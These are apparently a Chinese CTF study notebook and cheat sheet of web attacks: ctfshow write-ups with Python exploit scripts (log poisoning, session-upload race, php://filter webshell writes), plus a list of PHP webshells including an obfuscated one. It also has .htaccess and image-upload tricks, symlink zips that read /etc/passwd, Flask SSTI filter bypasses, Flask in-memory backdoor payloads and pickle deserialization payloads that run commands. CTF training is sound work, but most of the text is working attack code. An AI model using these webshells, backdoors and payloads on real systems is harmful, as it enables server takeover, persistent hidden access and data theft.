python #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/20 19:51 # blog: www.wlhhlc.top import requests url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>' } data = { 'dotast': 'system("cat fl0g.php");' } req = requests.get(url=url, headers=headers) result = requests.post(url=url, data=data) print(result.text)

运行得到flag

web82

php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }

这次把.给过滤了,日志包含使用不了,我们使用session文件包含,先了解一些知识点,在php5.4之后php.ini开始有几个默认选项

1.session.upload_progress.enabled = on 2.session.upload_progress.cleanup = on 3.session.upload_progress.prefix = “upload_progress_” 4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” 5.session.use_strict_mode=off

第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容 第三和第四个prefix+name将表示为session中的键名 第五个表示我们对Cookie中sessionID可控

简而言之,我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里 还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成

python #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/20 23:51 # blog: www.wlhhlc.top import io import requests import threading url = 'http://453228ae-28f2-4bb0-b401-83514feae8df.chall.ctf.show:8080/' def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session): while True: response = session.get(url+'?file=/tmp/sess_flag') if 'dotast' in response.text: print(response.text) break else: print('retry') if __name__ == '__main__': session = requests.session() write = threading.Thread(target=write, args=(session,)) write.daemon = True write.start() read(session)

运行后得到flag imgPR(L6K(2[1)_]KLZAS8[M.png)

web83

php session_unset(); session_destroy(); if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }

继续利用session文件包含,使用上题脚本运行即可得到flag

web84

php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); system("rm -rf /tmp/*"); include($file); }

加了一个rm -rf,但没关系,我们是条件竞争,只要一直传就有机会能执行,继续跑上面的脚本拿flag

web85

php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); if(file_exists($file)){ $content = file_get_contents($file); if(strpos($content, "<")>0){ die("error"); } include($file); } }

这次会匹配调用die,我们依然使用条件竞争进行pass,不过这次我们多加点线程

python #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/20 23:51 # blog: www.wlhhlc.top import io import requests import threading url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/' def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session): while True: response = session.get(url+'?file=/tmp/sess_flag') if 'dotast' in response.text: print(response.text) break else: print('retry') if __name__ == '__main__': session = requests.session() for i in range(30): threading.Thread(target=write, args=(session,)).start() for i in range(30): threading.Thread(target=read, args=(session,)).start()

运行后得到flag

web86

php define('还要秀?', dirname(__FILE__)); set_include_path(还要秀?); if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }

继续使用上题脚本跑,跑完得到flag

web87

php if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }

分析一下源码,get传入file,post传入content,但$content在开头增加了die函数,即使我们写入一句话也会先die,导致无法执行;并且还对file进行了url解码 我们可以使用base64的方式写入文件再进行decode,base64编码只包含64个可打印字符,而php解码base64时遇到不在其中的字符,会忽略掉,将合法字符进行组合变成一个字符串进行解码,所以<?php die('大佬别秀了');?>对其解码后,只有phpdie六个字符组成字符串进行解码,思路已经很清晰了,下面讲讲怎么做

第一,get传参file写入文件并且进行base64解码,即 ?file=php://filter/write=convert.base64-decode/resource=datast.php 因为源码中有一次urldecode,所以我们需要对其进行两次url编码 %25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30

第二,post传参content为base64编码后的一句话木马,但注意的是前面剩下phpdie,一共6个字符,所以需要再加2个字符变8个 因为base64算法解码时是4个byte一组 content=nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==

post发送请求后访问dotast.php发现一句话木马已经写入,可以执行命令。步骤过于繁琐,我写一个脚本来完成

python #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/21 12:29 # blog: www.wlhhlc.top import requests url = "http://67365af2-c5a6-4b3c-8900-25c85ed1d8cc.chall.ctf.show:8080/" #经过两次url编码的php://filter/write=convert.base64-decode/resource=dotast.php get_data = "%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30" get_url = url + "?file=" + get_data data = { 'content': 'nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==' } res = requests.post(url=get_url, data=data) shell_url = url + "dotast.php" test = requests.get(shell_url) if(test.status_code == 200): print("[*]getshell成功") shell_data = { 'pass': 'system("cat fl0g.php");' } result = requests.post(url=shell_url, data=shell_data) print(result.text)

运行后即可得到flag

web2 session_id的使用

知识点:变量传递与覆盖(不知道对不对),session的利用

现在的我做这个题还是很懵的,感觉要灵光一现才能想出来,而不是做出来的,思路还不是很清楚

在这里插入图片描述

构造的payload

POST的数据

session_id=session_id 1

修改http头部信息

在这里插入图片描述

4.文件上传

参考链接

1.木马

php
<script language="php">@eval($_POST['shell']);</script> <?=`$_GET[0]`?> <?php @eval($_POST['shell']);?> ${eval($_POST[0])}${eval($_POST[0])} <?=@eval($_REQUEST['cmd']);?> <?php assert($_POST['a']);?>

webshelll

一个靠构造CHR以及动态拼接特性构造出的一个很离谱的webshell

none
<?php (((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(.999999999999999).((9.9999999999999999^9)^((.999999999999999)^(9^((.999999999999999).(.999999999999999)))^(9.9999999999999999^9^99.999999999999999^99)))))).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(9^((.999999999999999).(.999999999999999))).(.999999999999999)))).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(.999999999999999).((9.9999999999999999^9)^((.999999999999999)^(9^((.999999999999999).(.999999999999999)))^(9.9999999999999999^9^99.999999999999999^99)))))).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(.999999999999999).((.999999999999999)^(9^((.999999999999999).(.999999999999999)))^(9.9999999999999999^9^99.999999999999999^99))))).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(9^9).(.999999999999999)))).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(9^9).(9)))))($_POST[1]) ?>

image-20220425220952133

image-20220425221006937

2..htaccess文件

让服务器把.jpg文件当成php解析

AddType application/x-httpd-php .jpg

3.图片二次渲染

php
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>

例:--------------------------------------------------------------------------------------V

1

4.unzip软链接

php
ln -s /etc/passwd passwd zip -y passwd.zip passwd ln -s /falg falg zip -y flag.zip flag

flag.zip

软链接(symlink)也可用于docx文件内部。docx文件内部有个word/document.xml,里面记录着word文档的文字。那么将这个文件替换为软链接,就能在服务器提取文字时读取任意文件。

php
mkdir word cd word ln -s /flag document.xml cd ../ 7z a exploit.zip word

CTFshow web56

if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }

这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。不过之前看过p师傅的一篇无字母数字webshell的文章,这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用进行匹配,即???/?????????,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢? 在ascii码表中观察发现 img 在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[],到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file来执行文件,我们可以去操作看看 在目录下新建一个f.txt,内容为ls,我们使用. /home/kali/ctf_tools/a/f.txt来执行文件 img 发现f.txt里的ls命令被成功执行,所以我们的完整payload就是

Code ?c=. /???/????????[@-[] 并且同时上传我们的文件,文件内容里面是命令

这里我们写个脚本

python #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/11 9:14 # blog: www.wlhhlc.top import requests while True: url = "http://92a3d8ba-280b-4cb8-bd47-58b577bb6204.chall.ctf.show:8080/?c=. /???/????????[@-[]" r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")}) flag = r.text.split('ctfshow') if len(flag) >1: print(r.text) break

运行完后成功获取到flag img

5.python web

Flask SSTI

SSTI备忘

php
{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}
php
长度限制绕过 {{config.update(c=config.update)}} {{config.update(g="__globals__")}} {{config.c(f=lipsum[config.g])}} {{config.c(o=config.f.os)}} {{config.c(p=config.o.popen)}} {{config.p("cat /f*").read()}}
php
响应头外带 payload {{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

image-20241122210218189

php
Flask内存马 {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

image-20241122213252568

php
pyramid {{lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))pyramid['wsgiref']|attr('simple_server')|attr('ServerHandler'),'server_so'+'ftware',lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('/readflag')['read']())}}
php
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i

https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/

1.CTF Pyjail 沙箱逃逸绕过合集

一文看懂Python沙箱逃逸

2.SSTI模版注入

1692946160_64e84ef0da36dc8205949

2024-04-25_135523

魔术方法

class:用来查看所有的类

''.__class__().__class__[].__class__{}.__class__

basses:查看类的基类

''.__class__.__bases__().__class__.__bases__[].__class__.__bases__{}.__class__.__bases__# 只有在python2中''.__class__.__bases__的返回为(<type 'str'>, <type 'basestring'>, <type 'object'>),其他均为(<type 'dict'>, <type 'object'>)# 在python3中返回的均是(<class 'object'>,)# 此时返回的是一个元组

mro:获取类的基类,返回类的调用顺序

''.__class__.__mro__().__class__.__mro__[].__class__.__mro__{}.__class__.__mro__# 只有在python2中''.__class__.__mro__的返回为(<type 'basestring'>,),其他均为(<type 'object'>,)# 在python3中返回的均是(<class 'str'>, <class 'object'>)# 此时返回的是一个元组

subclasses:查看当前类的子类组成的列表,返回基类object的子类

# python2因为只有''.__class__.__mro__[3]为<type 'object’>,其余变量类型的均为.__class__.__mro__[1]或者.__class__.__bases__[0]为<type 'object’>所在python2中使用变量类型的时候需要注意 # python3中任何变量类型的__bases__[0]均与__mro__[1]相同,所以使用下面任意payload均可>>> [].__class__.__bases__[0].__subclasses__() == [].__class__.__mro__[1].__subclasses__()True>>> {}.__class__.__bases__[0].__subclasses__() == {}.__class__.__mro__[1].__subclasses__()True>>> ().__class__.__bases__[0].__subclasses__() == ().__class__.__mro__[1].__subclasses__()True>>> ''.__class__.__bases__[0].__subclasses__() == ''.__class__.__mro__[1].__subclasses__()True

内置函数

builtins:可以查看当前导入的内置函数

globals:以字典的形式返回当前位置的所有全局变量

import():引入类或者函数

文件读取

python2

# 通过fuzz发现__subclasses__[40]为file类{{[].__class__.__base__[0].__subclasses__()[40](‘/etc/passwd’).read()}}

python3

# python3中已经移除了file类,通过’_frozen_importlib_external.FileLoader’读取文件,通过fuzz发现编号为79{{().__class__.__bases__[0].__subclasses__()[79][get_data](0,”/etc/passwd")}}

命令执行

通过内建函数的eval执行

import requests for i in range(500): url = "http://192.xxx.xxx.1:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}" res = requests.get(url=url) if 'eval' in res.text: print(i)"""最后具体payload如下{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} """

寻找os模块执行命令

import requests for i in range(500): url = "http://192.xxx.xxx.1:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}" res = requests.get(url=url) if 'os.py' in res.text: print(i)"""随便挑一个构造payload执行命令即可最后的payload {{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}"""

寻找popen执行命令

import requests for i in range(500): url = "http://192.xxx.xxx.1:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}" res = requests.get(url=url) if 'popen' in res.text: print(i)"""最后的payload{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}"""

寻找_frozen_importlib.BuiltinImport执行命令

import requests for i in range(500): url = "http://192.xxx.xxx.1:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}" res = requests.get(url=url) if '_frozen_importlib.BuiltinImporter' in res.text: print(i)"""最后的payload{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}"""

一些简单的绕过关键字过滤的方法

利用hex编码绕过

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用unicode编码绕过

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用base64编码绕过

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

利用字符串拼接绕过

{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}

利用join()绕过

[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

利用引号绕过

[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read(){{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil''tins__']['eval']('__import__("os").popen("ls /").read()')}}

绕过其他字符

过滤了下划线_可以直接利用unicode或者hex编码等编码方式绕过 过滤了点.利用|attr()函数绕过().__class__等同于()|attr("__class__") 过滤了花括号{{利用{% %}构建循环语句绕过

其他参考内容

__class__ 类的一个内置属性,表示实例对象的类。__base__ 类型对象的直接基类__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases____mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.__init__ 初始化类,返回的类型是function__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}current_app 应用上下文,一个全局变量。 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()request.args.x1 get传参request.values.x1 所有参数request.cookies cookies参数request.headers 请求头参数request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)request.data post传参 (Content-Type:a/b)request.json post传json (Content-Type: application/json)config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}g {{g}}得到<flask.g of 'flask_ssti’>

Flask内存马

https://xz.aliyun.com/t/16087#toc-5 add_url_rule,但是新版本好像目前加了很多checker什么的,所以得换种方式打,这里我就将两种的方式都写一下,但是基本上思路是一致的(旧版本的话我这里就拿别的师傅的playload啥的实现了因为自己本地没有配环境,懒....)

这里稍微说一下,看这个地方的前置知识吧:匿名函数,SSTI。

Flask请求上下文机制

当网页请求进入Flask时, 会实例化一个Request Context. 在Python中分出了两种上下文: 请求上下文(request context)、应用上下文(session context). 一个请求上下文中封装了请求的信息, 而上下文的结构是运用了一个Stack的栈结构, 也就是说它拥有一个栈所拥有的全部特性. request context实例化后会被push到栈_request_ctx_stack中, 基于此特性便可以通过获取栈顶元素的方法来获取当前的请求.

低版本

这里贴一个有漏洞的源码

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def home(): person = 'guest' if request.args.get('name'): person = request.args.get('name') template = '<h2>Hello %s!</h2>' % person return render_template_string(template) if __name__ == "__main__": app.run()

playload:

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

这里分析一下这个playload

url_for.__globals__[%27__builtins__%27][%27eval%27]

这一串很好理解吧其实就是构造了eval执行后面的函数 可以看到后面是执行了app.add_url_rule这个函数 在Flask中注册路由的时候是添加的@app.route装饰器来实现的。 add_url_rule函数

add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None, **options)
  • rule:函数对应的URL规则,满足条件和app.route()的第一个参数一样,必须以/开头;
  • endpoint:端点,即在使用url_for()进行反转的时候,这里传入的第一个参数就是endpoint对应的值。这个值也可以不指定,那么默认就会使用函数的名字作为endpoint的值;
  • view_func:URL对应的函数(注意,这里只需写函数名字而不用加括号);
  • provide_automatic_options:控制是否应自动添加选项方法。这也可以通过设置视图来控制_func.provide_automatic_options =添加规则前为False;
  • options:要转发到基础规则对象的选项。Werkzeug的一个变化是处理方法选项。方法是此规则应限制的方法列表(GET、POST等)。默认情况下,规则只侦听GET(并隐式地侦听HEAD)。从Flask0.6开始,通过标准请求处理隐式添加和处理选项;

所以这里就应该很清楚flask内存马的逻辑了

高版本

在Flask更新之后,就像我说的加了很多checker但是我们仍然可以利用其他函数来进行构造

before_request

这里我们跟进这个函数来看

img

调用了before_request_funcs.setdefault(None, []).append(f) 然后f可控,我们将其改为

lambda :__import__('os').popen('whoami').read()

playload:

eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")

after_request

这些函数其实就和前面的一样,不过是利用了其他方法罢了 所以这里我就贴一下playload了。

playload:

eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)")
errorhandler

这个要注意一下,这里要调用一下他不存在的路由才行

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()")

img

因为这里主要是打这个地方,只有访问到不存在的路由才会去调用这个方法来进行打内存码

python反序列化

新版Flask框架下用钩子函数实现内存马的方式 https://xz.aliyun.com/t/14539

https://www.cnblogs.com/sijidou/p/16305695.html

利用报错回显RCE

php
import pickle import base64 import os class Email(): email = "admin@admin.com" def __reduce__(self): return (exec,("raise Exception(__import__('os').popen('id').read())",)) def login(): poc = base64.b64encode(pickle.dumps(Email())) print(poc)
import pickle import base64 class Exp: def __reduce__(self): return (exec, (''' raise Exception(open("/flag").read()) '''.strip(),)) print(base64.urlsafe_b64encode(pickle.dumps(Exp())))
php
import pickle import pickletools import base64 class a_class(): def __init__(self): self.age = 114514 self.name = "QAQ" self.list = ["1919","810","qwq"] def __reduce__(self): return (__import__('os').system, ("whoami",)) a_class_new = a_class() a_class_pickle = pickle.dumps(a_class_new,protocol=3) print(a_class_pickle) # 优化一个已经被打包的字符串 a_list_pickle = pickletools.optimize(a_class_pickle) print(a_class_pickle) # 反汇编一个已经被打包的字符串 pickletools.dis(a_class_pickle)

下面给出pickle利用下的payload:

import os import pickle import base64 class A(): def __reduce__(self): return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('gxngxngxn')).read())",)) a = A() b = pickle.dumps(a) print(base64.b64encode(b))
import os import pickle import base64 class A(): def __reduce__(self): return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('gxngxngxn') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'gxngxngxn\')).read())\")==None else resp)",)) a = A() b = pickle.dumps(a) print(base64.b64encode(b))
